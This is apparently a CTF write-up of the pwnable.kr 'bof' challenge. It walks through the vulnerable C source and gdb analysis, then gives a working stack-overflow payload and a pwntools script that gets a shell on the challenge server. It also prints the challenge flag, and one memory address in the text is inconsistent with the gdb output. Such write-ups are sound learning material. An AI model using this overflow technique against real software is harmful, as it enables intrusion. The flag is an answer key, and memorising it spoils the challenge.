Pwnable.kr - bof

— Written by — 5 min read

bof

We continue our beginner series on Binary Exploitation with pwnable.kr which appears to have a reasonable curve of difficulty making it ideal for learning.

Let’s go for this 3rd challenge: bof.

Challenge Description

Bof
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

Buffer Overflow

If you are unfamiliar with Buffer Overflow I recommend you to read my previous series of what a buffer overflow is and how it can be exploited.

With that in mind, let’s begin our analysis!

Test & Analysis

As usual, we can retrieve the binary and it’s source:

1
2
[hg8@archbook ~]$ wget http://pwnable.kr/bin/bof
[hg8@archbook ~]$ wget http://pwnable.kr/bin/bof.c

The program simply takes an input and returns “Nah..”:

1
2
3
[hg8@archbook ~]$ ./bof
overflow me : ffffff
Nah..

If we input a longer string, the program crash:

1
2
3
4
5
6
[hg8@archbook ~]$ ./bof
warning: this program uses gets(), which is unsafe.
overflow me : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nah..
*** stack smashing detected ***: terminated
[1] 15516 IOT instruction (core dumped) ./bof

Source Code Analysis

The source code is quite straightforward and consist in 2 functions only:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

Let’s break it down:

1
2
3
4
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

The main function calls the func function with 0xdeadbeef has a parameter.

1
2
3
4
5
6
7
8
9
10
11
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}

Function func proceeds to get user input and store it in a 32 bytes buffer. It then proceeds to compare the function parameter key to 0xcafebabe value and open a shell if the comparison succeeds.

However we don’t have any control over key variable, since it’s hard-coded and sent by the main function with value 0xdeadbeef.

We can already see where we will need to exploit the program. We need to overflow the overflowme buffer until the key memory address. This way we should be able to overwrite key value with 0xcafebabe making the comparison succeed and dropping us a shell to read the challenge flag.

So that was the theory, let’s now see in practice how we can achieve this.

Dynamic Analysis

We will start with the usual dynamic analysis using gdb to understand what is happening under the hood.

Let’s start by disassembling main():

1
2
3
4
5
6
7
8
9
10
11
(gdb) disassemble main
Dump of assembler code for function main:
0x5655568a <+0>: push ebp
0x5655568b <+1>: mov ebp,esp
0x5655568d <+3>: and esp,0xfffffff0
0x56555690 <+6>: sub esp,0x10
0x56555693 <+9>: mov DWORD PTR [esp],0xdeadbeef
0x5655569a <+16>: call 0x5655562c <func>
0x5655569f <+21>: mov eax,0x0
0x565556a4 <+26>: leave
0x565556a5 <+27>: ret

We can see 0xdeadbeef being moved to esp register before the function func is called:

1
2
0x56555693 <+9>:     mov    DWORD PTR [esp],0xdeadbeef
0x5655569a <+16>: call 0x5655562c <func>

In the disassembly of func we can find another reference to 0xdeadbeef.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) disassemble func
Dump of assembler code for function func:
0x5655562c <+0>: push ebp
0x5655562d <+1>: mov ebp,esp
0x5655562f <+3>: sub esp,0x48
0x56555632 <+6>: mov eax,gs:0x14
0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x5655563b <+15>: xor eax,eax
0x5655563d <+17>: mov DWORD PTR [esp],0x5655578c
0x56555644 <+24>: call 0xf7c74db0 <puts>
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0xf7c74440 <gets>
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x5655565b <+47>: jne 0x5655566b <func+63>
0x5655565d <+49>: mov DWORD PTR [esp],0x5655579b
0x56555664 <+56>: call 0xf7c4c800 <system>
0x56555669 <+61>: jmp 0x56555677 <func+75>
0x5655566b <+63>: mov DWORD PTR [esp],0x565557a3
0x56555672 <+70>: call 0xf7c74db0 <puts>
0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x5655567a <+78>: xor eax,DWORD PTR gs:0x14
0x56555681 <+85>: je 0x56555688 <func+92>
0x56555683 <+87>: call 0xf7d32e60 <__stack_chk_fail>
0x56555688 <+92>: leave
0x56555689 <+93>: ret
End of assembler dump.

It’s the compare instruction we are looking for (which correspond to key == 0xcafebabe):

1
0x56555654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe

Let’s put a breakpoint on the comparison and run the program:

1
2
3
4
5
6
7
(gdb) break *0x56555654
Breakpoint 1 at 0x56555654
(gdb) r
overflow me :
AAAAAAAAA

Breakpoint 1, 0x56555654 in func ()

From the comparison instruction, we know that 0xdeadbeef is stored at ebp+0x8, at 0xffffc860 memory address:

1
2
(gdb) x $ebp+0x8
0xffffd250: 0xdeadbeef

The overflowme variable is located at ebp-0x2c based on the LEA instruction. Since it’s a local variable, it’s on a negative offset from ebp:

1
0x56555649 <+29>:    lea    eax,[ebp-0x2c]
1
2
(gdb) x/s $ebp-0x2c
0xffffc82c: "AAAAAAAAAA"

Now we need to know what’s the distance in memory between overflowme and key since we will have to overflow overflowme buffer to overwrite key content with cafebabe value:

1
2
[hg8@archbook ~]$ python3 -c "print(0xffffc860 - 0xffffc82c)"
52

52 bytes!

If you are a more visual person, you can see in memory the distance between our input in overflowme variable and the key variable containing 0xdeadbeef we are trying to overwrite:

memory distance between variable

Exploitation

Manual exploitation

Ok, we now have all the needed information. Our payload will consist of 52 bytes of random characters followed by 0xcafebabe. However since C uses the little endian format for int, we need to reverse the byte order to \xbe\xba\xfe\xca.

Using python3 we can build the following payload:

1
2
3
4
import sys
payload = b"\x41"*52
payload += b"\xbe\xba\xfe\xca"
sys.stdout.buffer.write(payload)

Let’s try it!

1
2
3
[hg8@archbook ~]$ python3 payload.py| ./bof
overflow me :
[hg8@archbook ~]$

Bummer, nothing happened…

Well, taking a closer look at the C source code we quickly realize this is an expected behavior; indeed the system("/bin/sh"); called a shell but didn’t get any input and terminated.

The trick here is to use cat so we can have the shell to listen to our input and not terminate the process:

1
2
3
4
5
[hg8@archbook ~]$ (python3 payload.py;cat)| ./bof
overflow me :

ls
bof bof.c payload.py

Bingo! We can now try against the instance running on pwable.kr:

1
2
3
4
5
6
[hg8@archbook ~]$ (python3 payload.py;cat) | nc pwnable.kr 9000

id
uid=1008(bof) gid=1008(bof) groups=1008(bof)
cat flag
daddy, I just pwned a buFFer :)

Using pwntools

Exploitation is quite straightforward using pwntools.

First we build our payload the same way as earlier:

1
2
payload = b"\x41"*52
payload += b"\xbe\xba\xfe\xca"

Then we just forward it to the server and open an interactive session:

1
2
3
io = remote('pwnable.kr', 9000)
io.send(payload)
io.interactive()

Final script:

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python

from pwn import *

payload = b"\x41"*52
payload += b"\xbe\xba\xfe\xca"
io = remote('pwnable.kr', 9000)
io.send(payload)
io.interactive()

Running it:

1
2
3
4
5
6
7
[hg8@archbook ~]$ python3 exploit.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ id
uid=1008(bof) gid=1008(bof) groups=1008(bof)
$ cat flag
daddy, I just pwned a buFFer :)

That’s it folks! I hope you enjoyed this series on Buffer Overflow.

As always do not hesitate to contact me for any questions or feedback!

See you next time ;)

-hg8



CTFpwnableToddler's Bottle
, , , , ,